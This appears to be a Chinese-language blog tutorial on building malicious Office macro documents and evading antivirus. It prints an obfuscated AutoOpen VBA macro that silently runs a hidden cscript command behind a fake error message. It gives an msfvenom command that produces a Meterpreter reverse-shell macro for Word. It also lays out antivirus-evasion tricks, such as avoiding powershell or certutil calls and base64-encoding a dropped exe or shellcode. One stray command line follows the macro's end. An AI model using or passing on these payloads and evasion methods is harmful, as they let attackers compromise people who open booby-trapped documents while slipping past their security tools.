恶意宏文档与免杀

office宏,译自英文单词Macro。宏是微软公司为其OFFICE软件包设计的一个特殊功能,软件设计者为了让人们在使用软件进行工作时,避免一再地重复相同的动作而设计出来的一种工具,它利用简单的语法,把常用的动作写成宏,当在工作时,就可以直接利用事先编好的宏自动运行,去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。

生成执行cmd的宏

项目地址 https://github.com/metac0rtex/Office-Macro-Generator

生成示例:

Public Sub AutoOpen()
  Dim cmd As String
  BxJnb = ChrW(99) & ChrW(115) & ChrW(99) & ChrW(114) & ChrW(105) & ChrW(112) & ChrW(116) & ChrW(32) & ChrW(68) & ChrW(58)
  SAnJV = ChrW(92) & ChrW(116) & ChrW(101) & ChrW(115) & ChrW(116) & ChrW(49) & ChrW(49) & ChrW(49) & ChrW(46) & ChrW(118)
  JKkJK = ChrW(98) & ChrW(115)
  cmd = BxJnb & SAnJV & JKkJK
  Dim Obj as Object
  Set Obj = CreateObject("WScript.Shell")
  Obj.Run cmd, 0
  MsgBox ("Required rescource could not be allocated")
End Sub
  cmd = cmd & "cscript D:\test111.vbs"

主要就是使用ChrW()拼接成cmd,然后通过调用WScript.Shell执行命令

类似项目:

https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator

https://github.com/infosecn1nja/MaliciousMacroMSBuild

使用msf生成宏

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port -f vba -o try.vba

使用msf生成vba代码,放入word中即可。

msf生成的宏使用shellcode动态加载技术,运行时在内存中注入shellcode并执行

免杀

灵活运用base64就可以达到免杀的效果,此处只讲解原理并提供思路。

cmd宏的免杀

执行cmd本身不会引起杀软的注意,但是当进行敏感操作时杀软就会警告(如调用powershell、cscript、wscript、bitsadmin、certutil等),因此执行命令时应该避开调用这些程序。

以火绒为例:

火绒

思路:

将免杀的exe进行base64编码写入代码中,当宏执行时释放exe并运行。

基于动态加载shellcode的宏的免杀

最开始尝试直接使用veil混淆过的shellcode进行免杀,但是并没有达到效果。

https://payloads.online/archivers/2019-05-16/1 倾旋在博客中提过将shellcode通过自增等操作进行混淆。

根据这个思路,我们可以将shellcode进行base64编码,运行的时候再将编码后的shellcode还原。

思路拓展

base64编码本质上是一种加密过程,将payload视为明文,通过编码的得到密文,在程序运行时再讲密文还原为明文,以此来绕过杀软的静态检测。如果可以自己实现一种加密方式,就可以达到很好的免杀效果。